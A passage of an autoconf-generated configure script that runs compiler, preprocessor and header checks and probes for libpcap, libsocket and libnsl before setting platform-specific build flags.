return 0; } _ACEOF rm -f conftest.$ac_objext if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 (eval $ac_compile) 2>conftest.er1 ac_status=$? grep -v '^ *+' conftest.er1 >conftest.err rm -f conftest.er1 cat conftest.err >&5 echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } && { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; } && { ac_try='test -s conftest.$ac_objext' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; }; then ac_cv_prog_cc_g=yes else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 ac_cv_prog_cc_g=no fi rm -f conftest.err conftest.$ac_objext conftest.$ac_ext fi echo "$as_me:$LINENO: result: $ac_cv_prog_cc_g" >&5 echo "${ECHO_T}$ac_cv_prog_cc_g" >&6 if test "$ac_test_CFLAGS" = set; then CFLAGS=$ac_save_CFLAGS elif test $ac_cv_prog_cc_g = yes; then if test "$GCC" = yes; then CFLAGS="-g -O2" else CFLAGS="-g" fi else if test "$GCC" = yes; then CFLAGS="-O2" else CFLAGS= fi fi echo "$as_me:$LINENO: checking for $CC option to accept ANSI C" >&5 echo $ECHO_N "checking for $CC option to accept ANSI C... $ECHO_C" >&6 if test "${ac_cv_prog_cc_stdc+set}" = set; then echo $ECHO_N "(cached) $ECHO_C" >&6 else ac_cv_prog_cc_stdc=no ac_save_CC=$CC cat >conftest.$ac_ext <<_ACEOF /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ #include #include #include #include /* Most of the following tests are stolen from RCS 5.7's src/conf.sh. */ struct buf { int x; }; FILE * (*rcsopen) (struct buf *, struct stat *, int); static char *e (p, i) char **p; int i; { return p[i]; } static char *f (char * (*g) (char **, int), char **p, ...) { char *s; va_list v; va_start (v,p); s = g (p, va_arg (v,int)); va_end (v); return s; } /* OSF 4.0 Compaq cc is some sort of almost-ANSI by default. It has function prototypes and stuff, but not '\xHH' hex character constants. These don't provoke an error unfortunately, instead are silently treated as 'x'. The following induces an error, until -std1 is added to get proper ANSI mode. Curiously '\x00'!='x' always comes out true, for an array size at least. It's necessary to write '\x00'==0 to get something that's true only with -std1. */ int osf4_cc_array ['\x00' == 0 ? 1 : -1]; int test (int i, double x); struct s1 {int (*f) (int a);}; struct s2 {int (*f) (double a);}; int pairnames (int, char **, FILE *(*)(struct buf *, struct stat *, int), int, int); int argc; char **argv; int main () { return f (e, argv, 0) != argv[0] || f (e, argv, 1) != argv[1]; ; return 0; } _ACEOF # Don't try gcc -ansi; that turns off useful extensions and # breaks some systems' header files. # AIX -qlanglvl=ansi # Ultrix and OSF/1 -std1 # HP-UX 10.20 and later -Ae # HP-UX older versions -Aa -D_HPUX_SOURCE # SVR4 -Xc -D__EXTENSIONS__ for ac_arg in "" -qlanglvl=ansi -std1 -Ae "-Aa -D_HPUX_SOURCE" "-Xc -D__EXTENSIONS__" do CC="$ac_save_CC $ac_arg" rm -f conftest.$ac_objext if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 (eval $ac_compile) 2>conftest.er1 ac_status=$? grep -v '^ *+' conftest.er1 >conftest.err rm -f conftest.er1 cat conftest.err >&5 echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } && { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; } && { ac_try='test -s conftest.$ac_objext' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; }; then ac_cv_prog_cc_stdc=$ac_arg break else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 fi rm -f conftest.err conftest.$ac_objext done rm -f conftest.$ac_ext conftest.$ac_objext CC=$ac_save_CC fi case "x$ac_cv_prog_cc_stdc" in x|xno) echo "$as_me:$LINENO: result: none needed" >&5 echo "${ECHO_T}none needed" >&6 ;; *) echo "$as_me:$LINENO: result: $ac_cv_prog_cc_stdc" >&5 echo "${ECHO_T}$ac_cv_prog_cc_stdc" >&6 CC="$CC $ac_cv_prog_cc_stdc" ;; esac # Some people use a C++ compiler to compile C. Since we use `exit', # in C++ we need to declare it. In case someone uses the same compiler # for both compiling C and C++ we need to have the C++ compiler decide # the declaration of exit, since it's the most demanding environment. cat >conftest.$ac_ext <<_ACEOF #ifndef __cplusplus choke me #endif _ACEOF rm -f conftest.$ac_objext if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 (eval $ac_compile) 2>conftest.er1 ac_status=$? grep -v '^ *+' conftest.er1 >conftest.err rm -f conftest.er1 cat conftest.err >&5 echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } && { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; } && { ac_try='test -s conftest.$ac_objext' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; }; then for ac_declaration in \ '' \ 'extern "C" void std::exit (int) throw (); using std::exit;' \ 'extern "C" void std::exit (int); using std::exit;' \ 'extern "C" void exit (int) throw ();' \ 'extern "C" void exit (int);' \ 'void exit (int);' do cat >conftest.$ac_ext <<_ACEOF /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ $ac_declaration #include int main () { exit (42); ; return 0; } _ACEOF rm -f conftest.$ac_objext if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 (eval $ac_compile) 2>conftest.er1 ac_status=$? grep -v '^ *+' conftest.er1 >conftest.err rm -f conftest.er1 cat conftest.err >&5 echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } && { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; } && { ac_try='test -s conftest.$ac_objext' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; }; then : else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 continue fi rm -f conftest.err conftest.$ac_objext conftest.$ac_ext cat >conftest.$ac_ext <<_ACEOF /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ $ac_declaration int main () { exit (42); ; return 0; } _ACEOF rm -f conftest.$ac_objext if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 (eval $ac_compile) 2>conftest.er1 ac_status=$? grep -v '^ *+' conftest.er1 >conftest.err rm -f conftest.er1 cat conftest.err >&5 echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } && { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; } && { ac_try='test -s conftest.$ac_objext' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; }; then break else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 fi rm -f conftest.err conftest.$ac_objext conftest.$ac_ext done rm -f conftest* if test -n "$ac_declaration"; then echo '#ifdef __cplusplus' >>confdefs.h echo $ac_declaration >>confdefs.h echo '#endif' >>confdefs.h fi else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 fi rm -f conftest.err conftest.$ac_objext conftest.$ac_ext ac_ext=c ac_cpp='$CPP $CPPFLAGS' ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' ac_compiler_gnu=$ac_cv_c_compiler_gnu echo "$as_me:$LINENO: checking for main in -lpcap" >&5 echo $ECHO_N "checking for main in -lpcap... $ECHO_C" >&6 if test "${ac_cv_lib_pcap_main+set}" = set; then echo $ECHO_N "(cached) $ECHO_C" >&6 else ac_check_lib_save_LIBS=$LIBS LIBS="-lpcap $LIBS" cat >conftest.$ac_ext <<_ACEOF /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ int main () { main (); ; return 0; } _ACEOF rm -f conftest.$ac_objext conftest$ac_exeext if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 (eval $ac_link) 2>conftest.er1 ac_status=$? grep -v '^ *+' conftest.er1 >conftest.err rm -f conftest.er1 cat conftest.err >&5 echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } && { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; } && { ac_try='test -s conftest$ac_exeext' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; }; then ac_cv_lib_pcap_main=yes else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 ac_cv_lib_pcap_main=no fi rm -f conftest.err conftest.$ac_objext \ conftest$ac_exeext conftest.$ac_ext LIBS=$ac_check_lib_save_LIBS fi echo "$as_me:$LINENO: result: $ac_cv_lib_pcap_main" >&5 echo "${ECHO_T}$ac_cv_lib_pcap_main" >&6 if test $ac_cv_lib_pcap_main = yes; then cat >>confdefs.h <<_ACEOF #define HAVE_LIBPCAP 1 _ACEOF LIBS="-lpcap $LIBS" else echo Need libpcap installed;exit fi echo "$as_me:$LINENO: checking for pcap_setnonblock in -lpcap" >&5 echo $ECHO_N "checking for pcap_setnonblock in -lpcap... $ECHO_C" >&6 if test "${ac_cv_lib_pcap_pcap_setnonblock+set}" = set; then echo $ECHO_N "(cached) $ECHO_C" >&6 else ac_check_lib_save_LIBS=$LIBS LIBS="-lpcap $LIBS" cat >conftest.$ac_ext <<_ACEOF /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ /* Override any gcc2 internal prototype to avoid an error. */ #ifdef __cplusplus extern "C" #endif /* We use char because int might match the return type of a gcc2 builtin and then its argument prototype would still apply. */ char pcap_setnonblock (); int main () { pcap_setnonblock (); ; return 0; } _ACEOF rm -f conftest.$ac_objext conftest$ac_exeext if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 (eval $ac_link) 2>conftest.er1 ac_status=$? grep -v '^ *+' conftest.er1 >conftest.err rm -f conftest.er1 cat conftest.err >&5 echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } && { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; } && { ac_try='test -s conftest$ac_exeext' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; }; then ac_cv_lib_pcap_pcap_setnonblock=yes else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 ac_cv_lib_pcap_pcap_setnonblock=no fi rm -f conftest.err conftest.$ac_objext \ conftest$ac_exeext conftest.$ac_ext LIBS=$ac_check_lib_save_LIBS fi echo "$as_me:$LINENO: result: $ac_cv_lib_pcap_pcap_setnonblock" >&5 echo "${ECHO_T}$ac_cv_lib_pcap_pcap_setnonblock" >&6 if test $ac_cv_lib_pcap_pcap_setnonblock = yes; then cat >>confdefs.h <<\_ACEOF #define HAVE_PCAP_SETNONBLOCK _ACEOF fi case "$host" in *linux*) CFLAGS="$CFLAGS -fPIC" ;; *free*bsd*) CFLAGS="-DBROKEN_BSD -DIMMEDIATE $CFLAGS" ;; *bsd*) CFLAGS="$CFLAGS -DIMMEDIATE -fPIC" ;; *darwin*) CFLAGS="$CFLAGS -DDARWIN" ;; *) echo "Sorry, $host not supported yet." ;; esac echo "$as_me:$LINENO: checking for socket in -lsocket" >&5 echo $ECHO_N "checking for socket in -lsocket... $ECHO_C" >&6 if test "${ac_cv_lib_socket_socket+set}" = set; then echo $ECHO_N "(cached) $ECHO_C" >&6 else ac_check_lib_save_LIBS=$LIBS LIBS="-lsocket $LIBS" cat >conftest.$ac_ext <<_ACEOF /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ /* Override any gcc2 internal prototype to avoid an error. */ #ifdef __cplusplus extern "C" #endif /* We use char because int might match the return type of a gcc2 builtin and then its argument prototype would still apply. */ char socket (); int main () { socket (); ; return 0; } _ACEOF rm -f conftest.$ac_objext conftest$ac_exeext if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 (eval $ac_link) 2>conftest.er1 ac_status=$? grep -v '^ *+' conftest.er1 >conftest.err rm -f conftest.er1 cat conftest.err >&5 echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } && { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; } && { ac_try='test -s conftest$ac_exeext' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; }; then ac_cv_lib_socket_socket=yes else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 ac_cv_lib_socket_socket=no fi rm -f conftest.err conftest.$ac_objext \ conftest$ac_exeext conftest.$ac_ext LIBS=$ac_check_lib_save_LIBS fi echo "$as_me:$LINENO: result: $ac_cv_lib_socket_socket" >&5 echo "${ECHO_T}$ac_cv_lib_socket_socket" >&6 if test $ac_cv_lib_socket_socket = yes; then cat >>confdefs.h <<_ACEOF #define HAVE_LIBSOCKET 1 _ACEOF LIBS="-lsocket $LIBS" fi echo "$as_me:$LINENO: checking for inet_ntoa in -lnsl" >&5 echo $ECHO_N "checking for inet_ntoa in -lnsl... $ECHO_C" >&6 if test "${ac_cv_lib_nsl_inet_ntoa+set}" = set; then echo $ECHO_N "(cached) $ECHO_C" >&6 else ac_check_lib_save_LIBS=$LIBS LIBS="-lnsl $LIBS" cat >conftest.$ac_ext <<_ACEOF /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ /* Override any gcc2 internal prototype to avoid an error. */ #ifdef __cplusplus extern "C" #endif /* We use char because int might match the return type of a gcc2 builtin and then its argument prototype would still apply. */ char inet_ntoa (); int main () { inet_ntoa (); ; return 0; } _ACEOF rm -f conftest.$ac_objext conftest$ac_exeext if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 (eval $ac_link) 2>conftest.er1 ac_status=$? grep -v '^ *+' conftest.er1 >conftest.err rm -f conftest.er1 cat conftest.err >&5 echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } && { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; } && { ac_try='test -s conftest$ac_exeext' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; }; then ac_cv_lib_nsl_inet_ntoa=yes else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 ac_cv_lib_nsl_inet_ntoa=no fi rm -f conftest.err conftest.$ac_objext \ conftest$ac_exeext conftest.$ac_ext LIBS=$ac_check_lib_save_LIBS fi echo "$as_me:$LINENO: result: $ac_cv_lib_nsl_inet_ntoa" >&5 echo "${ECHO_T}$ac_cv_lib_nsl_inet_ntoa" >&6 if test $ac_cv_lib_nsl_inet_ntoa = yes; then cat >>confdefs.h <<_ACEOF #define HAVE_LIBNSL 1 _ACEOF LIBS="-lnsl $LIBS" fi ac_ext=c ac_cpp='$CPP $CPPFLAGS' ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' ac_compiler_gnu=$ac_cv_c_compiler_gnu echo "$as_me:$LINENO: checking how to run the C preprocessor" >&5 echo $ECHO_N "checking how to run the C preprocessor... $ECHO_C" >&6 # On Suns, sometimes $CPP names a directory. if test -n "$CPP" && test -d "$CPP"; then CPP= fi if test -z "$CPP"; then if test "${ac_cv_prog_CPP+set}" = set; then echo $ECHO_N "(cached) $ECHO_C" >&6 else # Double quotes because CPP needs to be expanded for CPP in "$CC -E" "$CC -E -traditional-cpp" "/lib/cpp" do ac_preproc_ok=false for ac_c_preproc_warn_flag in '' yes do # Use a header file that comes with gcc, so configuring glibc # with a fresh cross-compiler works. # Prefer to if __STDC__ is defined, since # exists even on freestanding compilers. # On the NeXT, cc -E runs the code through the compiler's parser, # not just through cpp. "Syntax error" is here to catch this case. cat >conftest.$ac_ext <<_ACEOF /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ #ifdef __STDC__ # include #else # include #endif Syntax error _ACEOF if { (eval echo "$as_me:$LINENO: \"$ac_cpp conftest.$ac_ext\"") >&5 (eval $ac_cpp conftest.$ac_ext) 2>conftest.er1 ac_status=$? grep -v '^ *+' conftest.er1 >conftest.err rm -f conftest.er1 cat conftest.err >&5 echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } >/dev/null; then if test -s conftest.err; then ac_cpp_err=$ac_c_preproc_warn_flag ac_cpp_err=$ac_cpp_err$ac_c_werror_flag else ac_cpp_err= fi else ac_cpp_err=yes fi if test -z "$ac_cpp_err"; then : else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 # Broken: fails on valid input. continue fi rm -f conftest.err conftest.$ac_ext # OK, works on sane cases. Now check whether non-existent headers # can be detected and how. cat >conftest.$ac_ext <<_ACEOF /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ #include _ACEOF if { (eval echo "$as_me:$LINENO: \"$ac_cpp conftest.$ac_ext\"") >&5 (eval $ac_cpp conftest.$ac_ext) 2>conftest.er1 ac_status=$? grep -v '^ *+' conftest.er1 >conftest.err rm -f conftest.er1 cat conftest.err >&5 echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } >/dev/null; then if test -s conftest.err; then ac_cpp_err=$ac_c_preproc_warn_flag ac_cpp_err=$ac_cpp_err$ac_c_werror_flag else ac_cpp_err= fi else ac_cpp_err=yes fi if test -z "$ac_cpp_err"; then # Broken: success on invalid input. continue else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 # Passes both tests. ac_preproc_ok=: break fi rm -f conftest.err conftest.$ac_ext done # Because of `break', _AC_PREPROC_IFELSE's cleaning code was skipped. rm -f conftest.err conftest.$ac_ext if $ac_preproc_ok; then break fi done ac_cv_prog_CPP=$CPP fi CPP=$ac_cv_prog_CPP else ac_cv_prog_CPP=$CPP fi echo "$as_me:$LINENO: result: $CPP" >&5 echo "${ECHO_T}$CPP" >&6 ac_preproc_ok=false for ac_c_preproc_warn_flag in '' yes do # Use a header file that comes with gcc, so configuring glibc # with a fresh cross-compiler works. # Prefer to if __STDC__ is defined, since # exists even on freestanding compilers. # On the NeXT, cc -E runs the code through the compiler's parser, # not just through cpp. "Syntax error" is here to catch this case. cat >conftest.$ac_ext <<_ACEOF /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ #ifdef __STDC__ # include #else # include #endif Syntax error _ACEOF if { (eval echo "$as_me:$LINENO: \"$ac_cpp conftest.$ac_ext\"") >&5 (eval $ac_cpp conftest.$ac_ext) 2>conftest.er1 ac_status=$? grep -v '^ *+' conftest.er1 >conftest.err rm -f conftest.er1 cat conftest.err >&5 echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } >/dev/null; then if test -s conftest.err; then ac_cpp_err=$ac_c_preproc_warn_flag ac_cpp_err=$ac_cpp_err$ac_c_werror_flag else ac_cpp_err= fi else ac_cpp_err=yes fi if test -z "$ac_cpp_err"; then : else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 # Broken: fails on valid input. continue fi rm -f conftest.err conftest.$ac_ext # OK, works on sane cases. Now check whether non-existent headers # can be detected and how. cat >conftest.$ac_ext <<_ACEOF /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ #include _ACEOF if { (eval echo "$as_me:$LINENO: \"$ac_cpp conftest.$ac_ext\"") >&5 (eval $ac_cpp conftest.$ac_ext) 2>conftest.er1 ac_status=$? grep -v '^ *+' conftest.er1 >conftest.err rm -f conftest.er1 cat conftest.err >&5 echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } >/dev/null; then if test -s conftest.err; then ac_cpp_err=$ac_c_preproc_warn_flag ac_cpp_err=$ac_cpp_err$ac_c_werror_flag else ac_cpp_err= fi else ac_cpp_err=yes fi if test -z "$ac_cpp_err"; then # Broken: success on invalid input. continue else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 # Passes both tests. ac_preproc_ok=: break fi rm -f conftest.err conftest.$ac_ext done # Because of `break', _AC_PREPROC_IFELSE's cleaning code was skipped. rm -f conftest.err conftest.$ac_ext if $ac_preproc_ok; then : else { { echo "$as_me:$LINENO: error: C preprocessor \"$CPP\" fails sanity check See \`config.log' for more details." >&5 echo "$as_me: error: C preprocessor \"$CPP\" fails sanity check See \`config.log' for more details." >&2;} { (exit 1); exit 1; }; } fi ac_ext=c ac_cpp='$CPP $CPPFLAGS' ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' ac_compiler_gnu=$ac_cv_c_compiler_gnu echo "$as_me:$LINENO: checking for egrep" >&5 echo $ECHO_N "checking for egrep... $ECHO_C" >&6 if test "${ac_cv_prog_egrep+set}" = set; then echo $ECHO_N "(cached) $ECHO_C" >&6 else if echo a | (grep -E '(a|b)') >/dev/null 2>&1 then ac_cv_prog_egrep='grep -E' else ac_cv_prog_egrep='egrep' fi fi echo "$as_me:$LINENO: result: $ac_cv_prog_egrep" >&5 echo "${ECHO_T}$ac_cv_prog_egrep" >&6 EGREP=$ac_cv_prog_egrep echo "$as_me:$LINENO: checking for ANSI C header files" >&5 echo $ECHO_N "checking for ANSI C header files... $ECHO_C" >&6 if test "${ac_cv_header_stdc+set}" = set; then echo $ECHO_N "(cached) $ECHO_C" >&6 else cat >conftest.$ac_ext <<_ACEOF /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ #include #include #include #include int main () { ; return 0; } _ACEOF rm -f conftest.$ac_objext if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 (eval $ac_compile) 2>conftest.er1 ac_status=$? grep -v '^ *+' conftest.er1 >conftest.err rm -f conftest.er1 cat conftest.err >&5 echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } && { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; } && { ac_try='test -s conftest.$ac_objext' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; }; then ac_cv_header_stdc=yes else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 ac_cv_header_stdc=no fi rm -f conftest.err conftest.$ac_objext conftest.$ac_ext if test $ac_cv_header_stdc = yes; then # SunOS 4.x string.h does not declare mem*, contrary to ANSI. cat >conftest.$ac_ext <<_ACEOF /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ #include _ACEOF if (eval "$ac_cpp conftest.$ac_ext") 2>&5 | $EGREP "memchr" >/dev/null 2>&1; then : else ac_cv_header_stdc=no fi rm -f conftest* fi if test $ac_cv_header_stdc = yes; then # ISC 2.0.2 stdlib.h does not declare free, contrary to ANSI. cat >conftest.$ac_ext <<_ACEOF /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ #include _ACEOF if (eval "$ac_cpp conftest.$ac_ext") 2>&5 | $EGREP "free" >/dev/null 2>&1; then : else ac_cv_header_stdc=no fi rm -f conftest* fi if test $ac_cv_header_stdc = yes; then # /bin/cc in Irix-4.0.5 gets non-ANSI ctype macros unless using -ansi. if test "$cross_compiling" = yes; then : else cat >conftest.$ac_ext <<_ACEOF /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ #include #if ((' ' & 0x0FF) == 0x020) # define ISLOWER(c) ('a' <= (c) && (c) <= 'z') # define TOUPPER(c) (ISLOWER(c) ? 'A' + ((c) - 'a') : (c)) #else # define ISLOWER(c) \ (('a' <= (c) && (c) <= 'i') \ || ('j' <= (c) && (c) <= 'r') \ || ('s' <= (c) && (c) <= 'z')) # define TOUPPER(c) (ISLOWER(c) ? ((c) | 0x40) : (c)) #endif #define XOR(e, f) (((e) && !(f)) || (!(e) && (f))) int main () { int i; for (i = 0; i < 256; i++) if (XOR (islower (i), ISLOWER (i)) || toupper (i) != TOUPPER (i)) exit(2); exit (0); } _ACEOF rm -f conftest$ac_exeext if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 (eval $ac_link) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } && { ac_try='./conftest$ac_exeext' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; }; then : else echo "$as_me: program exited with status $ac_status" >&5 echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 ( exit $ac_status ) ac_cv_header_stdc=no fi rm -f core *.core gmon.out bb.out conftest$ac_exeext conftest.$ac_objext conftest.$ac_ext fi fi fi echo "$as_me:$LINENO: result: $ac_cv_header_stdc" >&5 echo "${ECHO_T}$ac_cv_header_stdc" >&6 if test $ac_cv_header_stdc = yes; then cat >>confdefs.h <<\_ACEOF #define STDC_HEADERS 1 _ACEOF fi # On IRIX 5.3, sys/types and inttypes.h are conflicting. for ac_header in sys/types.h sys/stat.h stdlib.h string.h memory.h strings.h \ inttypes.h stdint.h unistd.h do as_ac_Header=`echo "ac_cv_header_$ac_header" | $as_tr_sh` echo "$as_me:$LINENO: checking for $ac_header" >&5 echo $ECHO_N "checking for $ac_header... $ECHO_C" >&6 if eval "test \"\${$as_ac_Header+set}\" = set"; then echo $ECHO_N "(cached) $ECHO_C" >&6 else cat >conftest.$ac_ext <<_ACEOF /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ $ac_includes_default #include <$ac_header> _ACEOF rm -f conftest.$ac_objext if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 (eval $ac_compile) 